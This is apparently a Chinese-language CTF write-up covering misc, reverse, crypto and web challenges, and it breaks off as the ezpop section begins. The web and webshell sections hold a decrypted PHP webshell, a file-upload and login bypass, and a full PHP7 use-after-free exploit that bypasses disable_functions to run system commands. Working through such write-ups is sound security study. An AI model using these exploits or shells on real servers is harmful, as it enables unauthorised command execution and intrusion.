writeup
2019高校运维赛 writeup
2019-11-29 09:30

MISC

0x01 misc1

f = open('724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt','rb')

b = f.read()

a = []

max = int(0)

min = int(999)

for i in b:

    t = i

    if t >= max:

        max = i

    if t <= min:

        min = i

    a.append(hex(i))

print(hex(max))

print(hex(min))


导出数据观察可以发现最小值为0x2,最大值为0xF9,根据判断可见字符在这个范围内的应该为EBCDIC编码,且是CP1146(IBM EBCDIC英国编码)

可以编写解码脚本

import codecs

import ebcdic

def decode():

    with codecs.open("724c6e962216407fa5fa1ad7efda2653_misc1_flag.txt", 'rb') as input_file:

        print(input_file.read().decode('cp1146'))

decode()


ñBuCðCx:–¦@B©B£BvC·BðB¯BlB¾$EBCDIC: /eb´s@·dik/, /eb´see`dik/, /eb´k@·dik/, n. [abbreviation, Extended Binary Coded Decimal Interchange Code] An alleged character set used on IBM dinosaurs. It exists in at least six mutually incompatible versions, all featuring such delights as non-contiguous letter sequences and the absence of several ASCII punctuation characters fairly important for modern computer languages (exactly which characters are absent varies according to which version of EBCDIC you're looking at). IBM adapted EBCDIC from punched card code in the early 1960s and promulgated it as a customer-control tactic (see connector conspiracy), spurning the already established ASCII standard. Today, IBM claims to be an open-systems company, but IBM's own description of the EBCDIC variants and how to convert between them is still internally classified top-secret, burn-before-reading. Hackers blanch at the very name of EBCDIC and consider it a manifestation of purest evil.flag is flag{0a07c11e46af753fd24d40023f0fdce1}

最简单的方法是使用WPS Word打开文件,文件 -> 文件 -> 重新载入 -> IBM EBCDIC英国编码

0x02 misc2

#!/usr/bin/env python

# -*- coding: utf-8 -*-


import os

from flask import request

from flask import Flask


secret = open('/flag', 'rb')


os.remove('/flag')



app = Flask(__name__)

app.secret_key = '015b9efef8f51c00bcba57ca8c56d77a'



@app.route('/')

def index():

    return open(__file__).read()



@app.route("/r", methods=['POST'])

def r():

    data = request.form["data"]

    if os.path.exists(data):

        return open(data).read()

    return ''



if __name__ == '__main__':

    app.run(host='0.0.0.0', port=8000, debug=False)


存在任意文件读取,flag文件open后被删除,可以读取文件描述符拿到flag

data=/proc/self/fd/3

0x02 misc3

使用010editor等十六进制编辑器打开html文件,可看见存在一段由序列E2 80 8C和序列E2 80 8B组成的隐藏字符,把E2 80 8C视为0,E2 80 8B视为1进行转换可得flag

在Chrome浏览器的开发者工具中打开也可以发现

0827h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2  ‌​​‌‌â 

0837h: 80 8B E2 80 8B E2 80 8C E2 80 8C E2 80 8B E2 80  €‹â€‹â€Œâ€Œâ€‹â€ 

0847h: 8B E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C  ‹â€Œâ€‹â€‹â€Œâ€Œ 

0857h: E2 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8C E2  ‌​​‌‌â 

0867h: 80 8C E2 80 8C E2 80 8B E2 80 8C E2 80 8B E2 80  €Œâ€Œâ€‹â€Œâ€‹â€ 

0877h: 8B E2 80 8C E2 80 8C E2 80 8B E2 80 8B E2 80 8B  ‹â€Œâ€Œâ€‹â€‹â€‹ 

0887h: E2 80 8C E2 80 8B E2 80 8B E2 80 8B E2 80 8B E2  ‌​​​​â 

0897h: 80 8C E2 80 8B E2 80 8B E2 80 8C E2 80 8B E2 80  €Œâ€‹â€‹â€Œâ€‹â€ 

...

0000h: 01100110 01101100 01100001 01100111 01111011 01100101 00110010 01100001  flag{e2a 

0008h: 00111001 01100011 00111000 01100010 00110001 00110001 00110111 00110101  9c8b1175 

0010h: 01100101 00110110 00110110 01100011 01100110 00110010 00110001 01100110  e66cf21f 

0018h: 00111000 00110101 00111001 00110011 01100010 01100011 00111000 00110101  8593bc85 

0020h: 01100010 01100110 00111001 00110011 00111001 01111101                    bf939}


0x03 webshell

分析流量可知,在服务器上执行的shell解密后大致如下

<?php

@ini_set("display_errors", "0");

@set_time_limit(0);

function asenc($out)

{

    @session_start();

    $key = 'f5045b05abe6ec9b1e37fafa851f5de9';

    return @base64_encode(openssl_encrypt(base64_encode($out), 'AES-128-ECB', $key, OPENSSL_RAW_DATA));

}


;;

function asoutput()

{

    $output = ob_get_contents();

    ob_end_clean();

    echo "8c2b4";

    echo @asenc($output);

    echo "e2e10";

}


ob_start();

try {

    $p = base64_decode($_POST["0x1b4d456c7297d"]);

    $s = base64_decode($_POST["0xb9b45688a5a08"]);

    $d = dirname($_SERVER["SCRIPT_FILENAME"]);

    $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\"";

    $r = "{$p} {$c}";

    function fe($f)

    {

        $d = explode(",", @ini_get("disable_functions"));

        if (empty($d)) {

            $d = array();

        } else {

            $d = array_map('trim', array_map('strtolower', $d));

        }

        return (function_exists($f) && is_callable($f) && !in_array($f, $d));

    }


    ;

    function runcmd($c)

    {

        $ret = 0;

        if (fe('system')) {

            @system($c, $ret);

        } elseif (fe('passthru')) {

            @passthru($c, $ret);

        } elseif (fe('shell_exec')) {

            print(@shell_exec($c));

        } elseif (fe('exec')) {

            @exec($c, $o, $ret);

            print(join("

", $o));

        } elseif (fe('popen')) {

            $fp = @popen($c, 'r');

            while (!@feof($fp)) {

                print(@fgets($fp, 2048));

            }

            @pclose($fp);

        } elseif (fe('antsystem')) {

            @antsystem($c);

        } else {

            $ret = 127;

        }

        return $ret;

    }


    ;

    $ret = @runcmd($r . " 2>&1");

    print ($ret != 0) ? "ret={$ret}" : "";;

} catch (Exception $e) {

    echo "ERROR://" . $e->getMessage();

};

asoutput();

die();

?>

//ed3edq113

在第七个HTTP流中,读取了flag

In [4]: base64.b64decode('Y2QgIi92YXIvd3d3L2h0bWwvdG1wIjtjYXQgZmxhZ3xiYXNlNjQgO2VjaG8gW1NdO3B3ZDtlY2hvIFtFXQ==')

Out[4]: b'cd "/var/www/html/tmp";cat flag|base64 ;echo [S];pwd;echo [E]'

flag经过了一层base64加密,在asoutput方法中增加了前后缀,然后在套一下base64,顺便AES加密

响应的内容如下:

kRD1eD+vSZ81FAJ6XClabCR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dZOTFg4DW9MYwG6k3rEvAAR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJHygVK0ad8xG1Qk6pzSaCiR8oFStGnfMRtUJOqc0mgokfKBUrRp3zEbVCTqnNJoKJ1qI47Cz1/qfnNoNARGhLfVhC0RJlfeKCvbPwpjFn//BSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93FIVjxEmVnLHPVr5M/LQPdxSFY8RJlZyxz1a+TPy0D3cUhWPESZWcsc9Wvkz8tA93GnMvJfVbvphfWnt17IOkzYjvv91k2fnYDR7u4nlGM3YitxGYGs9mn+HS5iJBXORtYrcRmBrPZp/h0uYiQVzkbWK3EZgaz2af4dLmIkFc5G1itxGYGs9mn+HS5iJBXORtUq4dBjDRFhDqDyzs9CScJhrd3yMusQ+qsnZkq4Ey7NVJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l0kdMTRZJbqef8foIsWrN5dJHTE0WSW6nn/H6CLFqzeXSR0xNFklup5/x+gixas3l2hDPuDhVN4TaDLzp9bXyfGeCVhvglAaNo2rA/ovnRTTtfA5ZywMOOijj6md5RItqjXwOWcsDDjoo4+pneUSLao18DlnLAw46KOPqZ3lEi2qNfA5ZywMOOijj6md5RItqgS0b9hS7r5TX9YNZo2awgUAyqVacVgwr1NlNQ2k/kihhh0QQfnjeGdZhkz0N0jAKiMzFmAMa7xQ1URxTaHoHjDg3NaWl/8+PVG+pyaKrbNDjfl77POeQE8+0MCHpz6YxWLJ6mwCe1X3uzz/HSHcHSvQBB8FxjOhugOErOXkd3LZi/60Gr4gIEc1JIxA5A2pE/V6Z/DFwNOR4M/IIIWdGr5

解密脚本

<?php

$r=file_get_contents("enc");

$key = 'f5045b05abe6ec9b1e37fafa851f5de9';

echo openssl_decrypt(base64_decode($r), 'AES-128-ECB', $key, OPENSSL_RAW_DATA);

?>

拿到flag:flag{AntSword_is_Powerful_3222222!!!!}

re

re1

init_array和fini_array都有一个函数,在init_array里的函数里加了反调,直接patch即可,然后还把key修改了

for ( j = 0; j <= 15; ++j )

    {

      result = aThisIsNotKey;

      aThisIsNotKey[j] ^= 7u;

    }

然后fini_array才是最后的比较函数

for ( i = 0; i <= 15; ++i )

  {

    result = (unsigned __int8)byte_202040[i + 0x10];

    if ( byte_2020E0[i] != (_BYTE)result )

      v2 = 0;

  }

加密函数是RC4算法,解题脚本为:

import base64

from Crypto.Cipher import ARC4

key = "sontXntXihsXlb~&"

data = "A"*0x10

rc41 = ARC4.new(key)

# part1 = rc41.decrypt('78695a5c2515935f6d150711ee01b3ab'.decode('hex'))

part2 = rc41.decrypt('7f305e5f1619bf7471131025d75fe1ff'.decode('hex'))


print part2


re2

32元一次方程组,把数据扣出来在到在线网站上解密(

# import re

# a = ''' 17153 * a1[27]

# + 41549 * a1[26]

# + 28202 * a1[24]

# + 36806 * a1[23]

# + 12690 * a1[22]

# + 42821 * a1[20]

# + 39834 * a1[19]

# + 17994 * a1[17]

# + 32765 * a1[14]

# + 25687 * a1[10]

# + 33388 * a1[9]

# + 143 * a1[4]

# + 63776 * a1[0]

# + 8682 * a1[1]

# - 16324 * a1[2]

# - 20022 * a1[3]

# - 48973 * a1[5]

# - 57775 * a1[6]

# - 43820 * a1[7]

# - 41070 * a1[8]

# - 15669 * a1[11]

# - 6946 * a1[12]

# - 23187 * a1[13]

# - 46495 * a1[15]

# - 8395 * a1[16]

# - 27782 * a1[18]

# - 46043 * a1[21]

# - 15428 * a1[25]

# - 59010 * a1[28]

# - 49235 * a1[29]

# - 53666 * a1[30]

# + 28539 * a1[31] == -15479857 '''

# a = a.replace("a1","").split("\n")


# matrix = [0 for i in range(32)]



# for i in range(32):

# f = re.search("([+-]?) ([0-9]*)",a[i]).groups()[0]

# value = int(re.search("([+-]?) ([0-9]*)",a[i]).groups()[1])

# if f != '':

# if f == '-':

# value = -1*value

# else:

# pass

# idx = int(a[i][a[i].find('[')+1:a[i].find(']')])

# matrix[idx] = value

# m = ''

# for i in matrix:

# m += str(i)+','

# m = m.strip(',')

# print m


# http://www.yunsuan.info/matrixcomputations/solvelinearsystems.html

# 44493,-326,-57451,-18424,22432,45266,20069,47551,-3751,39591,35081,45204,-6984,-9410,-54261,2139,48734,-62111,44970,29470,-20305,-33120,39390,1513,58180,-11160,-24198,37157,50244,-1646,37027,-13318

# -54741,-3606,48560,-45416,22008,11900,-24275,-64371,32499,46114,-25714,21730,-56673,9624,28702,-39430,9187,-35779,26720,-15144,51548,11260,48594,-45050,-59016,50109,-29262,-55650,-29492,-13828,12535,40522

# 17703,-16114,-24359,54532,15266,5819,-33999,19362,-58904,63538,64858,2665,-11844,-29623,20144,43681,32755,-42532,-60912,20331,3541,53780,29817,-4711,-56853,57822,31675,52683,57988,-33486,12097,24590

# 24247,64898,-24733,3430,41149,17219,-16545,42702,-1315,24960,27013,28,2783,-15867,-12126,28232,-3823,37522,48151,-20727,-12037,-9347,-39338,-50524,-38675,-26114,-4975,59561,32393,36741,51792,-24297

# -32261,-54551,15294,-61664,-40648,-12277,-55300,-63212,41251,-45548,-22362,-32993,64221,-43046,-40770,5380,57738,62825,52035,3079,-7119,26782,-36194,-56102,-19468,54655,35562,-59856,25143,13289,64702,23822

# -9407,64048,60965,33702,-12654,-56126,-47366,47843,30627,-29056,32583,-50822,-6240,43847,47577,-12371,8314,22558,9886,43924,-23282,-13137,-13716,6461,63681,-43391,-37217,-43714,-55909,-62806,5977,36688

# -23136,47281,20301,-61441,2565,57144,44459,-31365,16024,54218,-56894,-52977,-39404,-63477,63390,-22773,46343,-50258,40389,-25970,23917,-56685,47030,5856,-55893,36904,44955,58093,13407,49426,26401,-25199

# 62577,23069,18654,4696,22400,-16178,42663,-34941,-50803,-28229,15341,3911,-45565,50053,-45774,18373,7881,-28140,1742,-29986,58351,14952,-40067,15201,11269,53436,41681,22198,-63863,-50393,-14615,16722

# -39728,57392,910,37963,-2274,-61995,-43938,-12412,-10642,-10303,31888,7362,-16356,-615,40135,-11314,-17185,54431,-61134,-4620,-4591,29560,35119,-51958,40581,34037,-65066,5750,-6232,-60002,17326,30503

# -16296,-8786,48180,-65236,-48383,-32713,61315,-58771,-47593,-14512,6483,56260,25366,58190,-60203,27537,50686,-7295,-3885,61335,-39212,-40687,-19258,-57463,32582,2313,-24504,-11629,-8917,31106,-4535,38212

# -31610,52623,-35005,25689,-9320,63683,39253,51102,-16508,11413,3265,35320,18706,6847,-55110,528,35247,-63180,30153,-13666,39538,-49046,33264,51928,13203,17103,59096,48721,33683,-42949,-60950,26096

# 47557,52902,-12806,-59773,-9182,-57417,-18447,6146,15859,59808,30791,-54963,45466,-61599,49637,21116,15786,3656,-18454,28722,46709,21307,50390,5176,-30277,-25544,-17882,-25149,61328,-17363,49588,21848

# 37688,23309,-2616,59129,5104,-12561,-3215,60503,29438,42505,-49703,38339,12457,45365,-15471,33925,-23447,-50859,-86,54770,36604,-3773,-9573,-25835,42417,4680,-20107,58284,-45915,-56171,18191,29164

# 20452,18062,-56424,56918,-10457,50206,-12288,-54591,-44777,24700,12962,38458,-52078,19385,18867,-9805,-48011,-27363,-20890,13714,-788,50998,29867,-7954,-34056,16127,5149,49705,-34732,-54092,64657,35416

# -39611,25246,1951,-37145,-3824,21330,-49145,-43603,8191,-60671,-53032,-48392,-15417,40645,-13059,-58653,42329,-51631,-50173,18903,52431,-44904,37330,40656,-34380,24333,41644,-18100,-57765,-64534,44968,-26760

# -39824,44401,45166,53538,-2540,43929,-54452,-11199,-19801,23926,-13592,47959,19579,-29922,30392,15405,61374,17545,39526,7046,-34144,57593,-5305,-46917,44211,-4511,-23881,29438,-39081,34688,28579,3296

# 62215,19566,15203,-30340,-15964,59815,-13939,60087,-43008,-44925,-49239,-40498,-54453,-33557,6928,24510,36587,-24721,7959,49381,-21456,-40311,8487,-61111,-18918,-33393,-9301,41415,-61619,64380,40454,58498

# 35423,-12994,33894,40977,57560,63291,-32256,-23534,40291,5725,-40660,43131,-19119,21483,39085,62097,-33732,-63756,35027,3633,30380,36333,-13528,53612,6578,-47605,10809,-43202,14305,2766,-42819,-34232

# 44942,63420,58838,55103,27162,53130,27559,26302,-24313,-42499,-21629,34155,-2633,-55014,-22926,19761,-305,-63708,13647,31419,62674,-32334,-47684,-54226,-50848,10136,26215,44427,27903,48054,-15102,-22362

# 6300,-30549,9153,26426,46559,-55683,62261,-44433,6137,-46194,-57198,33875,-45266,51231,65438,45781,-6605,-43397,-7672,-48485,-54035,-12567,-47051,-62256,13058,55552,4221,61587,23936,-9828,59525,50225

# -28415,36297,5686,59059,14796,-11307,-57251,-29507,-41415,12090,62270,8353,-24476,-41751,-46589,63967,55058,10481,30422,47722,-55870,-6321,53136,12704,42884,-34350,-32922,-64909,-50870,13236,39286,49349

# 15479,10453,58731,-9782,63976,-9166,5707,-21516,-2689,29174,23244,-47968,-38843,-13488,61646,3991,57764,-57649,63445,-487,6252,52361,16634,42491,-30704,54808,-61218,18612,-32873,-58677,-2280,35233

# 36368,-30534,50614,-7805,9520,-60795,-17511,-34692,-22139,-49013,-24672,41197,35504,28641,11252,-22264,56629,23301,-55578,-61882,-48469,28509,-8197,-43020,15688,29396,-36911,38392,58430,-6762,38132,56670

# 3542,-17533,28247,1791,-44455,-2748,21876,-38052,8511,61205,-16528,-4664,-13326,16494,-52661,-38860,58300,-60164,-39975,-19566,55072,-55251,-8160,-54674,58305,-29010,-6627,35318,-15962,19958,-10549,-8177

# -7510,-61303,25124,35004,-34033,-49161,-6021,-36125,37617,-10528,-47741,-45531,-1546,2052,-59464,29853,-22656,31346,26883,38644,26034,-24655,-9816,8621,-22299,-23745,37204,47703,13827,15394,-23945,48741

# 19310,1288,-38840,-49229,-40618,39102,34746,-41363,-45367,41169,-21440,-36535,33349,-43289,47866,5395,56668,-41392,30949,53570,-40337,16432,-1430,-28334,35917,-46487,61644,8511,-42458,27496,-59664,64335

# -18187,28981,-53485,17974,41797,-20458,-8491,-16831,33384,53494,-31995,51835,-12109,30996,42087,60427,12986,-51691,-58925,-40872,33269,3954,56824,-30202,59304,-30793,26203,13806,-42110,41403,-1100,-26194

# -40011,-26232,-4849,-60564,20386,44081,-50739,40590,-17237,19883,-35381,28950,-4203,19225,-50964,-39946,28859,12186,38175,-22511,-20539,15071,48156,34737,42732,-60250,-61430,-11009,47559,53536,-8879,46741

# -42653,43668,-10988,3756,34932,61953,22126,29632,59350,-48711,-23958,-33557,50367,41961,-17831,-4583,41615,27387,34328,-29750,9871,-49888,41239,18672,20039,56136,-30956,7689,45907,5442,-41068,23514

# -26968,-23313,38342,5179,10458,3678,-32333,-43275,-2423,-60827,-42621,15986,-27590,59508,53583,19553,-56307,869,6738,63177,-30359,50228,21760,-19919,24036,-18153,41909,-6931,-5822,-30949,-16572,11920

# 8386,57646,35980,-4029,8314,18877,4313,29760,-47059,46356,52295,35013,57567,-25490,64744,1703,55168,-62526,37870,-63227,-27315,31098,6747,63177,55323,-23370,-37329,54696,-6309,43819,-12433,8882

# 63776,8682,-16324,-20022,143,-48973,-57775,-43820,-41070,33388,25687,-15669,-6946,-23187,32765,-46495,-8395,17994,-27782,39834,42821,-46043,12690,36806,28202,-15428,41549,17153,-59010,-49235,-53666,28539


# 34771791

# -9451883

# 29782736

# 27959979

# -10644544

# 230179

# 15871572

# 12844672

# -7906855

# -5359162

# 34815239

# 23582278

# 30273764

# 7501764

# -35816639

# 30983928

# -4472687

# 18523534

# 20982750

# 5070455

# 3066924

# 26232118

# -860377

# -14482154

# -17062269

# 6695285

# 16909859

# -1622782

# 33025495

# -10454601

# 51177223

# -15479857



res = [99,115,50,56,82,116,116,104,72,113,115,98,117,102,111,106,115,76,122,55,121,103,50,68,89,113,87,81,69,69,99,89]


flag = ''.join([chr(i) for i in res])


print flag



crypto

rsa1

from flag import FLAG

from Crypto.Util.number import *

import gmpy2

import random


while True:

    p = int(gmpy2.next_prime(random.randint(10**399, 10**400-1)))

    q = int(str(p)[200:]+str(p)[:200])

    if gmpy2.is_prime(q):

        break


m = bytes_to_long(FLAG)

n = p*q

e = 65537

c = pow(m,e,n)


with open("enc","wb") as f:

    f.write(str(c))

    f.write("\n")

    f.write(str(n))

p和q都是400位的数,p和q前后200相反

可以设p=a*pow(10,200)+b q=b*pow(10,200)+a

所以n=a*b*pow(10,400)+a*a*pow(10,200)+b*b*pow(10,200)+a*b

可以将n的前200位和后200位凭借得到 a*b

再用n减去a*b部分得到a*a + b*b

求出a,b后再求出p,q

from Crypto.Util.number import *

import gmpy2

import random

from gmpy2 import *

n=21173064304574950843737446409192091844410858354407853391518219828585809575546480463980354529412530785625473800210661276075473243912578032636845746866907991400822100939309254988798139819074875464612813385347487571449985243023886473371811269444618192595245380064162413031254981146354667983890607067651694310528489568882179752700069248266341927980053359911075295668342299406306747805925686573419756406095039162847475158920069325898899318222396609393685237607183668014820188522330005608037386873926432131081161531088656666402464062741934007562757339219055643198715643442608910351994872740343566582808831066736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301

e = 65537

nnn1=int(str(n)[:200])-1

nnn2=int(str(n)[600:])

ab=int(str(nnn1)+str(nnn2))


ab=2117306430457495084373744640919209184441085835440785339151821982858580957554648046398035452941253078562547380021066127607547324391257803263684574686690799140082210093930925498879813981907487546461281266736088527333762011263273533065540484105964087424030617602336598479611569611018708530024591023015267812545697478378348866840434551477126856261767535209092047810194387033643274333303926423370062572301


a2b2=n-(pow(10,400)+1)*ab #a**2+b**2

# print a2b2

t=a2b2/pow(10,200)

# print t 


t1=t+2*ab #(a+b)**2

print "(a+b)**2:",t1 #(a+b)**2 

t2=t1-4*ab #(a-b)**2

print "(a-b)**2:",t2 #(a-b)**2 


tt1=iroot(t1,2)[0]

print "(a+b):",tt1 #(a+b)

tt2=iroot(t2,2)[0] 

print "(a-b):",tt2 #(a-b)


b=(tt1-tt2)/2

a=tt1-b

print "b:",b

print "a:",a


print iroot(t1,2)

print iroot(t2,2)


p = a*pow(10,200)+b

q = b*pow(10,200)+a


print p*q==n

print "p",p

print "q",q


phin = (p - 1) * (q - 1)

d = gmpy2.invert(e, phin)

print "d",d

c=16396023285324039009558195962852040868243807971027796599580351414803675753933120024077886501736987010658812435904022750269541456641256887079780585729054681025921699044139927086676479128232499416835051090240458236280851063589059069181638802191717911599940897797235038838827322737207584188123709413077535201099325099110746196702421778588988049442604655243604852727791349351291721230577933794627015369213339150586418524473465234375420448340981330049205933291705601563283196409846408465061438001010141891397738066420524119638524908958331406698679544896351376594583883601612086738834989175070317781690217164773657939589691476539613343289431727103692899002758373929815089904574190511978680084831183328681104467553713888762965976896013404518316128288520016934828176674482545660323358594211794461624622116836

flag = gmpy2.powmod(c, d, n)

print hex(flag)[2:].decode('hex')

##AES

题目

#!/usr/bin/env python3

# coding=utf-8


import os

import signal

from Crypto.Cipher import AES

from Crypto.Util import Counter


def enc(msg, key):

    ctr = Counter.new(128,  initial_value=sum(msg))

    cipher = AES.new(key, AES.MODE_CTR, counter=ctr)

    return cipher.encrypt(msg)


if __name__ == '__main__':

    signal.alarm(60)

    key = os.urandom(16)

    with open('/home/ctf/flag', 'rb') as f:

        flag = f.read()

    assert len(flag) == 30

    enc_flag = enc(flag, key)


    print("Welcome to the our AES encryption system!")

    print(f"Here is your encrypted flag: {enc_flag}")

    for i in range(30):

        try:

            plaintext = input("Please input your plaintext: ")

            plaintext = bytes.fromhex(plaintext)

            ciphertext = enc(plaintext, key)

            print(f"Here is your ciphertext: {ciphertext}")

        except Exception:

            print('Error!')

            break

    print('Bye~')

Aes的counter模式(CTR)

其中initial_value=sum(msg) ,当我们输入的plaintext满足sum(plaintext)==sum(flag)时,flag ^ encflag == input ^ enc_input,从而求得flag=encflag ^ input ^ enc_input

flag长度30位 0x20*30从爆破到 0x7f*30

from pwn import *

import sys

from Crypto.Util.number import *


def check(str1):

if "flag" in str1:

return True

else:

return False


# for x in range(0x20,0x7f):

for x in range(92,93):

print(x*30)

p = remote("111.186.57.123",10001)

p.recvuntil("flag: b")

enc_flag = p.recvuntil("\n",drop=True)

exec("enc_flag = "+enc_flag)

for i in range(30):

p.recvuntil("plaintext: ")

plaintext=chr(x)*29+chr(x+i)

p.sendline(plaintext.encode('hex'))

p.recvuntil("ciphertext: b")

ciphertext = p.recvuntil("\n",drop=True)

exec("ciphertext = "+ciphertext)

res = long_to_bytes(bytes_to_long(ciphertext)^bytes_to_long(plaintext)^bytes_to_long(enc_flag))

if check(res):

print res

最终sum(flag)在2760到2790之间

flag为 flag{Don't_Reu5e_n0nCe_1n_CTR}

web

ezupload

<!---/.login.php.swp-->拿到源码

<?php
#error_reporting(0);
session_start();
include "config.php";

$username = $_POST['username'];
$password = $_POST['password'];
if (isset($username)){
   $sql = "select password from user where name=?";
   if ($stmt = $mysqli->prepare($sql)) {
       $stmt->bind_param("s", $username);
       $stmt->execute();
       $stmt->bind_result($dpasswd);
       $stmt->fetch();
       if ($dpasswd === $password){
    $_SESSION['login'] = 1;
           header("Location: /upload.php");
       }else{
           die("login failed");
       }
       $stmt->close();
   }
}else{
   header("Location: /index.php");
}

$mysqli->close();

mysql没有查到记录时,$dpasswd===NUL

此时令$password===NULL$_POST['password']===NULL,则成功登陆

登陆后进入上传界面,测试发现,后端校验文件头和content-type过滤php后缀名,上传.php5文件,成功拿到shell

拿到flag:flag{logical_bypass_not_weak_password}

expass(bypassDF)

开局一个后门

<?php

if(isset($_GET['src']))

{

    highlight_file(__FILE__);

}


eval($_GET['cmd']);

php垃圾回收 https://github.com/mm0r1/exploits/tree/master/php7-gc-bypass

改一下执行的命令

POST /?cmd=eval($_POST['a']); HTTP/1.1

Host: 111.186.57.43:10101

Pragma: no-cache

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.97 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

Connection: close

Content-Length: 5781

Content-Type: multipart/form-data; boundary=--------1608040292


----------1608040292

Content-Disposition: form-data; name="a"


@pwn('/readflag');


function pwn($cmd) {

    global $abc, $helper;


    function str2ptr(&$str, $p = 0, $s = 8) {

        $address = 0;

        for($j = $s-1; $j >= 0; $j--) {

            $address <<= 8;

            $address |= ord($str[$p+$j]);

        }

        return $address;

    }


    function ptr2str($ptr, $m = 8) {

        $out = "";

        for ($i=0; $i < $m; $i++) {

            $out .= chr($ptr & 0xff);

            $ptr >>= 8;

        }

        return $out;

    }


    function write(&$str, $p, $v, $n = 8) {

        $i = 0;

        for($i = 0; $i < $n; $i++) {

            $str[$p + $i] = chr($v & 0xff);

            $v >>= 8;

        }

    }


    function leak($addr, $p = 0, $s = 8) {

        global $abc, $helper;

        write($abc, 0x68, $addr + $p - 0x10);

        $leak = strlen($helper->a);

        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;

    }


    function parse_elf($base) {

        $e_type = leak($base, 0x10, 2);


        $e_phoff = leak($base, 0x20);

        $e_phentsize = leak($base, 0x36, 2);

        $e_phnum = leak($base, 0x38, 2);


        for($i = 0; $i < $e_phnum; $i++) {

            $header = $base + $e_phoff + $i * $e_phentsize;

            $p_type  = leak($header, 0, 4);

            $p_flags = leak($header, 4, 4);

            $p_vaddr = leak($header, 0x10);

            $p_memsz = leak($header, 0x28);


            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

                # handle pie

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

                $data_size = $p_memsz;

            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

                $text_size = $p_memsz;

            }

        }


        if(!$data_addr || !$text_size || !$data_size)

            return false;


        return [$data_addr, $text_size, $data_size];

    }


    function get_basic_funcs($base, $elf) {

        list($data_addr, $text_size, $data_size) = $elf;

        for($i = 0; $i < $data_size / 8; $i++) {

            $leak = leak($data_addr, $i * 8);

            if($leak - $base > 0 && $leak - $base < $text_size) {

                $deref = leak($leak);

                # 'constant' constant check

                if($deref != 0x746e6174736e6f63)

                    continue;

            } else continue;


            $leak = leak($data_addr, ($i + 4) * 8);

            if($leak - $base > 0 && $leak - $base < $text_size) {

                $deref = leak($leak);

                # 'bin2hex' constant check

                if($deref != 0x786568326e6962)

                    continue;

            } else continue;


            return $data_addr + $i * 8;

        }

    }


    function get_binary_base($binary_leak) {

        $base = 0;

        $start = $binary_leak & 0xfffffffffffff000;

        for($i = 0; $i < 0x1000; $i++) {

            $addr = $start - 0x1000 * $i;

            $leak = leak($addr, 0, 7);

            if($leak == 0x10102464c457f) { # ELF header

                return $addr;

            }

        }

    }


    function get_system($basic_funcs) {

        $addr = $basic_funcs;

        do {

            $f_entry = leak($addr);

            $f_name = leak($f_entry, 0, 6);


            if($f_name == 0x6d6574737973) { # system

                return leak($addr + 8);

            }

            $addr += 0x20;

        } while($f_entry != 0);

        return false;

    }


    class ryat {

        var $ryat;

        var $chtg;

        

        function __destruct()

        {

            $this->chtg = $this->ryat;

            $this->ryat = 1;

        }

    }


    class Helper {

        public $a, $b, $c, $d;

    }


    if(stristr(PHP_OS, 'WIN')) {

        die('This PoC is for *nix systems only.');

    }


    $n_alloc = 10; # increase this value if you get segfaults


    $contiguous = [];

    for($i = 0; $i < $n_alloc; $i++)

        $contiguous[] = str_repeat('A', 79);


    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';

    $out = unserialize($poc);

    gc_collect_cycles();


    $v = [];

    $v[0] = ptr2str(0, 79);

    unset($v);

    $abc = $out[2][0];


    $helper = new Helper;

    $helper->b = function ($x) { };


    if(strlen($abc) == 79 || strlen($abc) == 0) {

        die("UAF failed");

    }


    # leaks

    $closure_handlers = str2ptr($abc, 0);

    $php_heap = str2ptr($abc, 0x58);

    $abc_addr = $php_heap - 0xc8;


    # fake value

    write($abc, 0x60, 2);

    write($abc, 0x70, 6);


    # fake reference

    write($abc, 0x10, $abc_addr + 0x60);

    write($abc, 0x18, 0xa);


    $closure_obj = str2ptr($abc, 0x20);


    $binary_leak = leak($closure_handlers, 8);

    if(!($base = get_binary_base($binary_leak))) {

        die("Couldn't determine binary base address");

    }


    if(!($elf = parse_elf($base))) {

        die("Couldn't parse ELF header");

    }


    if(!($basic_funcs = get_basic_funcs($base, $elf))) {

        die("Couldn't get basic_functions address");

    }


    if(!($zif_system = get_system($basic_funcs))) {

        die("Couldn't get zif_system address");

    }


    # fake closure object

    $fake_obj_offset = 0xd0;

    for($i = 0; $i < 0x110; $i += 8) {

        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

    }


    # pwn

    write($abc, 0x20, $abc_addr + $fake_obj_offset);

    write($abc, 0xd0 + 0x38, 1, 4); # internal func type

    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler


    ($helper->b)($cmd);


    exit();

}


----------1608040292

ezpop

<?php

error_reporting(0);


class A{


    protected $store;


    protected $key;


    protected $expire;


    public function __construct($store, $key = 'flysystem', $expire = null)

    {

        $this->key    = $key;

        $this->store  = $store;

        $this->expire = $expire;

    }


